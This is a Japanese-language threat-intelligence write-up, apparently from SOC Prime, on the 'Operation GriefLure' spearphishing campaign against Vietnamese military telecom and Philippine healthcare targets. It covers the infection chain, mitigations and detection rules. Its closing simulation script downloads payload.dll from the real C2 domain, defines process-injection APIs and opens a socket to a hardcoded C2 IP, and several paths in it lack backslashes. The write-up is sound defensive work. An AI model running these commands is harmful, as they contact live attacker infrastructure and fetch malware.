SOC Prime Bias: クリティカル

08 5月 2026 18:40

オペレーショングリーフルア: ベトナムの軍事電気通信およびフィリピンの医療を標的としたAPTキャンペーンの解析

Author Photo
SOC Prime Team linkedin icon フォローする
オペレーショングリーフルア: ベトナムの軍事電気通信およびフィリピンの医療を標的としたAPTキャンペーンの解析
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

概要

Seqrite Labsは、二重圧縮されたRARアーカイブ内に隠された悪意のあるWindows LNKファイルに依存する標的型スピアフィッシングキャンペーンを特定しました。開くと、LNKはネイティブの ftp.exe ローダーを起動し、 sfsvc.exe と名付けられた多形ペイロードを断片化された .doc ファイルから復元しました。この活動は、ベトナム軍の所有する電気通信部門の上級幹部およびフィリピンの民間病院の職員を対象とし、信頼できるように見える文書を餌として使用しました。全感染チェーンは10秒未満で完了し、ディスク上に最小限のアーティファクトしか残しませんでした。

調査

調査はアーカイブ構造を分解し、LNK実行パスをマッピングし、カスタム sfsvc.exe ローダーをリバースエンジニアリングしました。これは regsvr32.exeに似せて設計されました。アナリストは、DLLサイドローディング、メモリ内シェルコード実行、プロセス注入、および偽装されたドメインを介したコマンドアンドコントロール通信を記録しました。アーティファクトのレビューにより、ハードコードされたC2ドメイン、 www.whatsappcenter.com, 香港のバレットプルーフプロバイダーを通じてホスティングされていることも判明しました。

緩和策

防御者は、メール添付ファイルを介して配信されるLNKファイルの実行をブロックし、ネイティブの ftp.exe での疑わしいコマンドライン引数の使用を監視する必要があります。エンドポイント検出は、ファイルレスDLLの読み込み、 C:UsersPublicUpdateでの代替データストリームの書き込み、および迅速な sfsvc.exeの作成に重点を置くべきです。また、組織は文書の出所チェックを強化し、合法的な法的または内部告発者関連のファイルに見せかけた餌についてユーザーを教育する必要があります。

対応

悪意のあるLNKまたは sfsvc.exe プロセスが検出された場合は、影響を受けたエンドポイントを直ちに隔離し、揮発性メモリを収集し、 360.*.dll ローダーファイルと代替データストリームアーティファクトを探します。特定されたコマンドアンドコントロールドメインと関連するIPアドレスをブロックし、データが流出したかどうかを確認するためのインシデントレスポンスを開始する必要があります。環境全体で類似のLNK駆動の ftp.exe ローダー活動を探すために、より広範なハントも行われるべきです。

graph TB %% クラス定義 classDef action fill:#c2e0ff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 classDef file fill:#d0ffd0 classDef malware fill:#ff9999 classDef c2 fill:#ffb3e6 %% ノード – 攻撃フロー attack_initial_access[“<b>アクション</b> – <b>T1566.001 添付ファイル付きスピアフィッシング</b><br/>被害者は悪意あるLNKファイルを含む二重圧縮RARアーカイブを受け取る”] class attack_initial_access action artifact_rar[“<b>ファイル</b> – RARアーカイブ<br/>正規の法的文書に見えるファイルと悪意あるLNKを含む”] class artifact_rar file artifact_lnk[“<b>ファイル</b> – 悪意あるLNK<br/>検出回避のための二重拡張子(例: document.lnk.rar)”] class artifact_lnk file tool_ftp[“<b>ツール</b> – ftp.exe(Windowsシステムバイナリ)<br/>隠されたバッチスクリプトを起動するプロキシとして使用”] class tool_ftp tool process_batch[“<b>プロセス</b> – バッチスクリプト<br/>copy /b を実行し sfsvc.exe と 360.dll を再構築”] class process_batch process file_sfsvc_exe[“<b>ファイル</b> – sfsvc.exe<br/>文書フラグメントから生成された最終ペイロード実行ファイル”] class file_sfsvc_exe file file_360dll[“<b>ファイル</b> – 360.dll<br/>シェルコード配信およびサイドローディング用ポリモーフィックDLL”] class file_360dll file action_modify_path[“<b>アクション</b> – <b>T1574.007 環境変数(PATH)の変更</b><br/>永続化のため C:\\Users\\Public\\Update をPATHに追加”] class action_modify_path action action_dll_side_load[“<b>アクション</b> – <b>T1574.002 DLLサイドローディング</b> & <b>T1546.009 AppCert DLL実行</b><br/>sfsvc.exe が /calldll と DllRegisterServer を用いて 360.dll をロード”] class action_dll_side_load action process_explorer[“<b>プロセス</b> – explorer.exe<br/>DLLインジェクションの対象プロセス”] class process_explorer process action_process_injection[“<b>アクション</b> – <b>T1055.001 DLLインジェクション</b><br/>360.dll が explorer.exe に第2段階シェルコードを注入”] class action_process_injection action action_discovery[“<b>アクション</b> – <b>T1057 プロセス探索</b> & <b>T1518.001 セキュリティソフト探索</b><br/>実行中プロセスおよびセキュリティ製品を列挙”] class action_discovery action action_cred_access[“<b>アクション</b> – <b>T1555.003 ブラウザからの資格情報窃取</b> & <b>T1552.001 ファイル内資格情報</b><br/>保存パスワード、Cookie、設定ファイルを収集”] class action_cred_access action action_collection[“<b>アクション</b> – <b>T1113 画面キャプチャ</b> & <b>T1083 ファイル・ディレクトリ探索</b><br/>スクリーンショットおよびディレクトリ一覧を収集”] class action_collection action action_exfiltration[“<b>アクション</b> – <b>T1071.001 HTTPS</b> & <b>T1573 難読化/暗号化通信</b><br/>XORでエンコードされたHTTPS経由でC2へデータ送信”] class action_exfiltration action c2_server[“<b>C2サーバー</b> – www.whatsappcenter.com<br/>窃取データを受信”] class c2_server c2 %% 接続 attack_initial_access –>|配布| artifact_rar artifact_rar –>|含む| artifact_lnk artifact_lnk –>|呼び出し| tool_ftp tool_ftp –>|実行| process_batch process_batch –>|生成| file_sfsvc_exe process_batch –>|生成| file_360dll file_sfsvc_exe –>|トリガー| action_modify_path action_modify_path –>|有効化| action_dll_side_load file_360dll –>|ロードされる| action_dll_side_load action_dll_side_load –>|注入先| process_explorer process_explorer –>|対象| action_process_injection action_process_injection –>|有効化| action_discovery action_discovery –>|情報提供| action_cred_access action_cred_access –>|データ供給| action_collection action_collection –>|移行| action_exfiltration action_exfiltration –>|送信先| c2_server

攻撃フロー

検出

ダブル拡張子を持つ可能性のある悪意のあるLNKファイル(cmdline経由)

SOC Primeチーム
2026年5月7日

珍しい拡張子を持つ可能性のあるFTPスクリプト実行(cmdline経由)

SOC Primeチーム
2026年5月7日

公共ユーザープロファイルからの疑わしい実行(process_creation経由)

SOC Primeチーム
2026年5月7日

代替リモートアクセス/管理ソフトウェア (process_creation経由)

SOC Primeチーム
2026年5月7日

公共ユーザープロファイル内の疑わしいファイル (file_event経由)

SOC Primeチーム
2026年5月7日

IOC(HashSha256)を検出する: Operation GriefLure – ベトナムの軍事通信およびフィリピンのヘルスケアを対象としたAPTキャンペーンを解剖

SOC Prime AIルール
2026年5月7日

IOC(SourceIP)を検出する: Operation GriefLure – ベトナムの軍事通信およびフィリピンのヘルスケアを対象としたAPTキャンペーンを解剖

SOC Prime AIルール
2026年5月7日

IOC(DestinationIP)を検出する: Operation GriefLure – ベトナムの軍事通信およびフィリピンのヘルスケアを対象としたAPTキャンペーンを解剖

SOC Prime AIルール
2026年5月7日

Operation GriefLure C2通信の検出 [Windowsネットワーク接続]

SOC Prime AIルール
2026年5月7日

Operation GriefLure活動の検出 [Windowsプロセス作成] ftp.exeおよびsfsvc.exeを使用

SOC Prime AIルール
2026年5月7日

シミュレーション実行

前提条件: テレメトリー&ベースラインプリフライトチェックに合格している必要があります。

理由: このセクションでは、検出ルールをトリガーするために設計された敵の技術(TTP)の正確な実行を詳述します。コマンドと説明は、特定されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリを生成することを目的としています。抽象的または無関係な例は誤診の原因となります。

  • 攻撃の物語とコマンド:
    アタッカーは、フィッシング添付ファイルを介して初期の足がかりを得た後(T1566.001, T1204.002)、 ランドオフで生活する アプローチを採用して実行可能なペイロードを避けます。組み込みの cmd.exe (T1059.003)を使用して、以下のステップを実行するPowerShellのワンライナーを起動します:

    1. 発見 – システム情報(T1082)と実行中のプロセス(T1057)を列挙して、適切な注入ターゲットを決定します。
    2. 認証情報の収集 – ブラウザストア(T1555.003)を読み取り、認証情報ファイルを(T1552.001)ステージングフォルダにダンプします。
    3. ペイロードの取得 – C2ドメインから悪意のあるDLLをダウンロードする www.whatsappcenter.com HTTPS経由(T1071.001, T1041).
    4. プロセス注入 – DLLを explorer.exe (T1055.001)に注入して永続性を得て特権を昇格させます。
    5. C2通信 – 永続的なTCP接続を 38.54.122.188 (ハードコードされたIP)に開き、収集したデータの送信を開始します。

    シグマルールを満たす重要なステップは、SysmonおよびWindowsファイアウォールによってログされる、正確なドメイン/IPへのアウトバウンド接続試行です。

  • 回帰テストスクリプト:

    # -------------------------------------------------
    # GriefLure C2シミュレーション – PowerShellバージョン
    # -------------------------------------------------
    # 1. システム発見 (T1082, T1057)
    Get-CimInstance -ClassName Win32_OperatingSystem | Out-Null
    Get-Process | Select-Object -First 5 | Out-Null
    
    # 2. 認証情報収集のシミュレーション (T1555.003, T1552.001)
    $credStaging = "$env:TEMPcreds.txt"
    "username=admin`npassword=P@ssw0rd!" | Set-Content -Path $credStaging
    
    # 3. ハードコードされたC2ドメインからの悪意のあるDLLのダウンロード (T1071.001, T1041)
    $c2Domain = "www.whatsappcenter.com"
    $c2Url = "https://$c2Domain/payload.dll"
    $dllPath = "$env:TEMPpayload.dll"
    Invoke-WebRequest -Uri $c2Url -OutFile $dllPath -UseBasicParsing
    
    # 4. DLLをexplorer.exeに注入 (T1055.001)
    $target = (Get-Process -Name explorer).Id
    $inject = @"
    using System;
    using System.Runtime.InteropServices;
    public class Injector {
        [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
        [DllImport("kernel32.dll", SetLastError=true)] public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll", SetLastError=true)] public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
        [DllImport("kernel32.dll")] public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    }
    "@
    Add-Type $inject
    # (実際の注入手順は省略されています。実際のテストでは、上記のAPIを呼び出します。)
    
    # 5. ハードコードされたIPへの永続的C2ソケットのオープン (T1041)
    $c2Ip = "38.54.122.188"
    $port = 443
    $client = New-Object System.Net.Sockets.TcpClient
    $client.Connect($c2Ip, $port)
    $stream = $client.GetStream()
    $payload = [System.Text.Encoding]::UTF8.GetBytes("EXFIL_START")
    $stream.Write($payload,0,$payload.Length)
    Start-Sleep -Seconds 5
    $stream.Close()
    $client.Close()
  • クリーンアップコマンド:

    # ステージングされたファイルの削除
    Remove-Item -Path "$env:TEMPcreds.txt" -Force -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPpayload.dll" -Force -ErrorAction SilentlyContinue
    
    # 残っているTCP接続の終了(まだ開いている場合)
    Get-NetTCPConnection -RemotePort 443 -RemoteAddress 38.54.122.188 |
      ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }
    
    # オプションとしてSysmonバッファのリセット(繰り返しテスト時のクリーンステート用)
    & "$env:ProgramFilesSysinternalsSysmon.exe" -c sysmon-config.xml